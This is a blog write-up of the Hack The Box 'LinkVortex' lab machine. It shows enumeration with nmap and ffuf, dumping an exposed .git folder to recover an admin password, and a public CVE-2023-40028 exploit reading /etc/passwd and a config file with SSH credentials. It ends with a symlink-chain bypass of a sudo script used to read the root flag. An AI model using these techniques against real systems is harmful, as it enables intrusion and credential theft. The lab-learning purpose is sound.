LinkVortex-Hack The Box

Arjun Aryal
9 min readDec 21, 2024

Fig: LinkVortex

The LinkVortex machine is an easy-level Boot2Root challenge that involves exploiting vulnerabilities in a web application running on Ghost CMS. The challenge begins by discovering sensitive information through a robots.txt file and subdomain enumeration, which leads to the discovery of hardcoded credentials in a git repository. This provides access to the application’s admin panel. Further exploration reveals a critical vulnerability in CVE-2023–40028, which allows authenticated users to upload symlink files and read arbitrary files on the host operating system. Leveraging this vulnerability, the challenge progresses to privilege escalation, where a script allows us to read the root flag and ultimately gain root access. This machine requires knowledge of web application enumeration, Git exploitation, and privilege escalation techniques to achieve the root flag.

Scope of the work

The scope of this machine is to retrieve the two flags as proof of exploitation.

  • user.txt
  • root.txt

HackTheBox has provided the following scope allowances:

  • Any tools or techniques are permitted in this engagement, however, we ask that you attempt manual exploitation first
  • Locate and report all vulnerabilities found
  • Submit the flags discovered to the dashboard
  • Only the IP address assigned to your machine is in scope

Reconnaissance

This machine is a easy-difficulty boot2root challenge with the IP address 10.10.11.47.

To begin, I performed an **Nmap** scan with the following options:

  • ‘-sC’ : For running default scripts
  • ‘-sV’: For version detection

This allowed me to gather initial information about the open ports and services running on the target system.

┌──(asura㉿kali)-[~/Desktop/htb/linkvortex]
└─$ cat nmap/linkVortex.nmap
# Nmap 7.94SVN scan initiated Fri Dec 13 03:48:11 2024 as: /usr/lib/nmap/nmap -sC -sV -oA nmap/linkVortex -vv 10.10.11.47
Nmap scan report for 10.10.11.47
Host is up, received reset ttl 63 (0.078s latency).
Scanned at 2024-12-13 03:48:12 EST for 12s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMHm4UQPajtDjitK8Adg02NRYua67JghmS5m3E+yMq2gwZZJQ/3sIDezw2DVl9trh0gUedrzkqAAG1IMi17G/HA=
| 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKLjX3ghPjmmBL2iV1RCQV9QELEU+NF06nbXTqqj4dz
80/tcp open http syn-ack ttl 63 Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec 13 03:48:24 2024 -- 1 IP address (1 host up) scanned in 13.09 seconds

The Nmap scan of the target `10.10.11.47` revealed the following open ports and services:

  1. Port 22 (SSH):

    — The service is running OpenSSH 8.9p1 on Ubuntu.
    — SSH host keys were identified, including ECDSA and ED25519 fingerprints.
  2. Port 80 (HTTP):
  • The service is running Apache HTTPD.
  • Accessing the server redirects to ‘http://linkvortex.htb/’, suggesting the need to add this domain to the ‘/etc/hosts’ file.
  • Supported HTTP methods include ‘GET’, ‘HEAD’, ‘POST’, and ‘OPTIONS’.

The scan also indicated that the host is running Linux, and no additional services were detected on other ports. This initial scan provides a clear starting point for further enumeration.

Enumeration HTTP:

The website hosted on ‘http://linkvortex.htb/’ is a generic blogging platform powered by the GHOST CMS version 5.58. Upon exploring the site, I noticed that all the blog posts were authored by a single user named ‘admin’.

LinkVortex website
Fig: Linxvortex.htb
Fig: User.png

During the enumeration phase, I launched feroxbuster and ffuf to identify subdomains and directories. While exploring, I stumbled upon a ‘robots.txt’ file containing sensitive information that could be leveraged further in the process.

fig:robots.txt

I also found a subdomain named ‘dev’, which seemed promising for further investigation.

┌──(asura㉿kali)-[~/Desktop/htb/linkvortex]
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://linkvortex.htb -H "host:FUZZ.linkvortex.htb" -fs 230 -c -o subdomain

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://linkvortex.htb
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.linkvortex.htb
:: Output file : subdomain
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 230
________________________________________________

dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 88ms]
Dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 88ms]
DEV [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 85ms]
:: Progress: [220561/220561] :: Job [1/1] :: 459 req/sec :: Duration: [0:09:22] :: Errors: 0 ::

From the ‘sitemap.xml’, I confirmed that there is only one user, ‘admin’. Furthermore, navigating to the ‘/ghost/’ endpoint led to a login page, suggesting it might be the admin panel for the application.

fig: Ghost Login

Let’s add the ‘dev’ subdomain to the hosts file and then navigate to it.

The website displayed a page indicating that it was under construction and would be launching soon. I then decided to perform directory fuzzing on this subdomain to identify any hidden or accessible directories.


┌──(asura㉿kali)-[~/Desktop/htb/linkvortex]
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dev.linkvortex.htb/FUZZ -ic -fs 0 -c -o sub-fuzz.txt

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://dev.linkvortex.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Output file : sub-fuzz.txt
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________

[Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 89ms]
.git [Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 92ms]
[Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 82ms]
server-status [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 83ms]
:: Progress: [220548/220548] :: Job [1/1] :: 475 req/sec :: Duration: [0:08:35] :: Errors: 0 ::

During the scan, I quickly discovered the ‘.git’ folder and began extracting its contents. To do this, I used a tool called git-dumper, which can be found here

┌──(vienv)(asura㉿kali)-[~/Desktop/htb/linkvortex/website/dump]
└─$ git-dumper http://dev.linkvortex.htb/.git/ ghost
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]

-----------------snip----------------------

After extracting the contents from the `.git` folder and running the `git status` command, I discovered that one file had been modified.


┌──(vienv)(asura㉿kali)-[~/Desktop/htb/linkvortex/website/dump/ghost]
└─$ git status
Not currently on any branch.
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: Dockerfile.ghost
modified: ghost/core/test/regression/api/admin/authentication.test.js

The file ‘ghost/core/test/regression/api/admin/authentication.test.js’ was altered, and a new file, ‘Dockerfile.ghost’, was added.

The ‘authentication.test.js’ file contains hardcoded credentials, which I believe could be used to log into the Ghost admin panel. This might provide a way to gain access to the application with the admin privileges.

┌──(vienv)(asura㉿kali)-[~/Desktop/htb/linkvortex/website/dump/ghost]
└─$ cat ghost/core/test/regression/api/admin/authentication.test.js | grep -e "password "
const password = 'OctopiFociPilfer45';
const password = 'thisissupersafe';

Using the credentials from the ‘authentication.test.js’ file, I was able to successfully log in as the ‘admin’ user.

fig: logged in as admin

A quick search revealed a public exploit for CVE-2023–40028, a vulnerability that allows authenticated users to upload symlink files. This can be leveraged to read arbitrary files from the host operating system. The exploit is publicly available here.


┌──(asura㉿kali)-[~/Desktop/htb/linkvortex]
└─$ bash exploit.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
file>

The ‘Dockerfile.ghost’ reveals the path to the configuration file. By exploiting CVE-2023–40028, we can read the configuration file located at ‘/var/lib/ghost/config.production.json’

┌──(asura㉿kali)-[~/Desktop/htb/linkvortex/website/dump/ghost]
└─$ cat Dockerfile.ghost
FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
---------------------------snip-------------------

The contents of the configuration file reveal the username and password, which can be used to SSH into the system:

  • Username: ‘bob@linkvortex.htb’
  • Password: ‘fibber-talented-worth’
┌──(asura㉿kali)-[~/Desktop/htb/linkvortex]
└─$ bash exploit.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}

After logging in as ‘bob’ via SSH, I obtained the user flag. For privilege escalation, I checked if ‘bob’ is allowed to run any commands with ‘sudo’. It turns out that ‘bob’ is permitted to run the script ‘/opt/ghost/clean_symlink.sh’ as any user (`ALL`), with `NOPASSWD`, meaning no password is required. This could potentially be leveraged for privilege escalation.

bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

The contents of the ‘/opt/ghost/clean_symlink.sh’ script are as follows:


!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi

Here is a summary of the ‘/opt/ghost/clean_symlink.sh’ script in a few bullet points:

  • Input Validation: The script expects a ‘.png’ symbolic link as an argument.
  • Quarantine Directory: It moves non-critical symlinks to a quarantine directory (‘/var/quarantined’).
  • Critical Link Check: If the symlink points to critical system files (e.g., in ‘/etc’ or ‘/root’), it deletes the symlink.
  • Option to Display Content: If the flag (‘CHECK_CONTENT’) is set to true, the script displays the content of the quarantined file.

Root:

Since the ‘clean_symlink.sh’ script checks for ‘.png’ files and removes symlinks pointing to critical directories like ‘/etc’ and ‘/root’, we can use this to our advantage to read the root flag. Here’s how we can do it:

1. First, create a symlink in the ‘bob’ folder pointing to the ‘root.txt’ file (the root flag).
2. Then, create another symlink pointing to the first symlink, essentially hiding it from being directly detected in ‘/root’.
3. Rename the final symlink a ‘.png’ file, which aligns with the script’s input requirement.

By doing this, we bypass the script’s check for critical symlinks, and the symlink to the root flag is moved to the quarantine directory, allowing us to read the root flag.

bob@linkvortex:~$ ln -s /root/root.txt flag.txt
bob@linkvortex:~$ ln -s /home/bob/flag.txt flag.png
bob@linkvortex:~$ ls -la
total 880
drwxr-x--- 5 bob bob 4096 Dec 21 14:07 .
drwxr-xr-x 3 root root 4096 Nov 30 10:07 ..
lrwxrwxrwx 1 root root 9 Apr 1 2024 .bash_history -> /dev/null
-rw-r--r-- 1 bob bob 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 bob bob 3771 Jan 6 2022 .bashrc
drwx------ 2 bob bob 4096 Nov 1 08:40 .cache
drwx------ 3 bob bob 4096 Dec 21 06:52 .gnupg
drwxrwxr-x 3 bob bob 4096 Dec 21 09:30 .local
-rw-r--r-- 1 bob bob 807 Jan 6 2022 .profile
lrwxrwxrwx 1 bob bob 18 Dec 21 14:07 flag.png -> /home/bob/flag.txt
lrwxrwxrwx 1 bob bob 14 Dec 21 14:07 flag.txt -> /root/root.txt
-rwxrwxr-x 1 bob bob 862779 Jun 2 2024 linpeas.sh
-rw-r----- 1 root bob 33 Dec 20 22:38 user.txt
bob@linkvortex:~$

Now, we can run the ‘clean_symlink.sh’ script. In this script, the ‘CHECK_CONTENT’ flag must be set to true for the content of the quarantined file to be displayed. By setting this flag to true, we can access and reveal the contents of the quarantined file, ultimately allowing us to retrieve all the flags.

bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh  ./flag.png 
Link found [ ./flag.png ] , moving it to quarantine
Content:
-----------------snip-------------------

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Arjun Aryal
Arjun Aryal

Written by Arjun Aryal

Cyber Security Enthusiast| CTF challenge solving | Python programmer

No responses yet

Write a response